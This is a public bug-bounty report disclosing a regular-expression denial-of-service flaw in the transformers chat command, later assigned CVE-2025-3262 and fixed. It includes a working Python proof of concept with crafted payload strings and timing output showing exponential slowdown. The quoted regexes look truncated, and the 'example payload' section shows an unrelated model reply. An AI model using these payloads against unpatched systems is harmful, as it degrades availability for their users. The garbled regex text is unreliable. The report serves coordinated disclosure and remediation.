

Regular expression Denial of Service - ReDoS in [huggingface/transformers](#)

✓ Valid

Reported on Mar 8th 2025

Description

The regex defined in the variable `SETTING_RE` contains repetition groups and non-optimized quantifiers, which can lead to exponential backtracking when receiving "almost matching" payloads. This may degrade the application's performance or even cause a denial-of-service (DoS) when processing specially crafted input strings in the chat-with-model feature.

Affected Code

File: [transformers/commands/chat.py#L74](#)

Regex used in the code:

```
SETTING_RE = r"^set\s+[A-Za-z\s_]+=([A-Za-z\d\s.!\\"#$%&'()*+,-/:<=>?@[\\]^_`{|}~]+)(?"
```

Repetition group (quantifier): The parts of the regex for "key" (`[A-Za-z\s_]+`) and "value" (`[A-Za-z\d\s.!\\"#$%&'()*+,-/:<=>?@[\\]^_`{|}~]+`), combined with the semicolon separator (`((?:\s ...)*)`), create a backtracking scenario when the input is "almost matching" but ultimately invalid.

Reference: <https://huggingface.co/docs/transformers/main/conversations#transformers-cli>

Real-World Proof of Concept

Run TRANSFORMERS CHAT INTERFACE.

Chat with a model directly from the command line as shown below. It launches an interactive session with a model.

```
transformers-cli chat --model_name_or_path Qwen/Qwen2.5-0.5B-Instruct
```

An example payload using the space character.

I'm sorry, but as a language model, I don't have the capability to display graphics involving symbols **is not** within my programming capabilities, **and** I don't have the capability to answer questions **or** topics **in** mind, please feel free **to** ask!

Similarly, we can also use the `tab` character to get the same result

Proof of Concept

```
import re
import time

SETTING_RE = re.compile(
    r"^set\s+[A-Za-z\s_]+=([A-Za-z\d\s.!\\"#$%&'()*+,-/:<=>?@\[\]^_`{|}~]+)(?:;\s*[A-Z"
)

for i in range(1, 50):
    # payload = "set\t\t=t;\t;" + "\t\t=t;\t;" * i
    payload = "set  = ;" + "  = ;" * i

    start = time.time()
    result = re.match(SETTING_RE, payload)
    end = time.time()

    print("Thời gian thực hiện: {:.4f} giây, len = {}".format(end - start, len(payload)))
```

```
taiwhis@taiwhis:~$ python3 exp.py
Time of execution: 0.0000 s, len = 13
Time of execution: 0.0000 s, len = 18
Time of execution: 0.0000 s, len = 23
Time of execution: 0.0000 s, len = 28
Time of execution: 0.0000 s, len = 33
Time of execution: 0.0000 s, len = 38
Time of execution: 0.0000 s, len = 43
Time of execution: 0.0000 s, len = 48
Time of execution: 0.0001 s, len = 53
Time of execution: 0.0002 s, len = 58
Time of execution: 0.0004 s, len = 63
Time of execution: 0.0007 s, len = 68
```

```
Time of execution: 0.0014 s, len = 73
Time of execution: 0.0028 s, len = 78
Time of execution: 0.0056 s, len = 83
Time of execution: 0.0111 s, len = 88
Time of execution: 0.0217 s, len = 93
Time of execution: 0.0439 s, len = 98
Time of execution: 0.0879 s, len = 103
Time of execution: 0.1747 s, len = 108
Time of execution: 0.3497 s, len = 113
Time of execution: 0.7583 s, len = 118
Time of execution: 1.3897 s, len = 123
Time of execution: 2.8214 s, len = 128
Time of execution: 5.5787 s, len = 133
Time of execution: 11.2153 s, len = 138
Time of execution: 22.2236 s, len = 143
Time of execution: 44.2483 s, len = 148
Time of execution: 88.6294 s, len = 153
Time of execution: 178.9664 s, len = 158
Time of execution: 364.4503 s, len = 163
Time of execution: 731.4668 s, len = 168
.....
```

When running the above script, you will notice an increase in processing time when setting key=value. For example, when the number of iterations reaches 32, the computation will take more than an hour to complete the chat segment. This clearly illustrates the backtracking effect of regular expressions and confirms the feasibility of exploiting the ReDoS vulnerability.

```
taiwhis      89485   100%(CPU)   0.0   20724 10496 pts/0      R+   10:41   7:17 python3 ex
```

Some similar huntr reports

- [Regular expression Denial of Service - ReDoS in huggingface/transformers](#)
- [Regular expression Denial of Service - ReDoS in huggingface/transformers](#)
- [Regular expression Denial of Service - ReDoS in huggingface/transformers](#)
- [Regular expression Denial of Service - ReDoS in kubeflow/kubeflow](#)
- [Inefficient Regular Expression Complexity in fb55/nth-check](#)
- [Inefficient Regular Expression Complexity in chalk/ansi-regex](#)
- [Inefficient Regular Expression Complexity in ampproject/amphtml](#)

Credit

- TaiPhung217 from OneMount Group

Impact

An attacker can exploit this by providing maliciously crafted input strings. This forces the application into intensive processing, resulting in:

- High CPU usage
- Potential application downtime Effectively, this creates a Denial of Service (DoS) scenario.

References

- [Regular_expression_Denial_of_Service_-_ReDoS](#)
- [How to fix a ReDoS](#)

⚙️ We are processing your report and will contact the **huggingface/transformers** team within 24 hours. a year ago



taiphung217 commented a year ago

Researcher

To mitigate ReDoS vulnerabilities, you can apply the following measures:

- Avoid using patterns that may lead to excessive backtracking, such as: `(.+) +`, `(. )`, `(a|aa) +`, `(w+ \d*) +`, etc.
- Avoid using repetition operators `(+ , {n,})` combined with ambiguous groups `(. , .+ , (a|b)* , etc.)`.
- Test regex before deployment using tools like regex101.com.

✓ **Michelle Habonneau** validated this vulnerability 10 months ago

We have applied a fix in <https://github.com/huggingface/transformers/pull/36964> and will be included in the next release. We'll close the report at next release. Thanks!

\$ **taiphung217** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

👤 **CVE-2025-3262** assigned to this report. 10 months ago

✓ **Michelle Habonneau** marked this as fixed in **4.51.0** with commit **0720e2** 9 months ago

\$ The fix bounty has been dropped ✗

✉ We have notified the **huggingface/transformers** maintainers about this report in their weekly follow-up 8 months ago

[Sign in](#) to join this conversation

CVE
CVE-2025-3262
Published

Vulnerability Type
CWE-1333: Inefficient Regular Expression Complexity

Severity
Medium (5.3)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	Low

[Open in visual CVSS calculator](#)

Registry
Pypi

Affected Version
v4.49.0(latest)

Visibility
Public

Status
Fixed

Disclosure Bounty
\$125

Fix Bounty
\$31.25

Found by



taiphung217
@taiphung217
MIDDLEWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



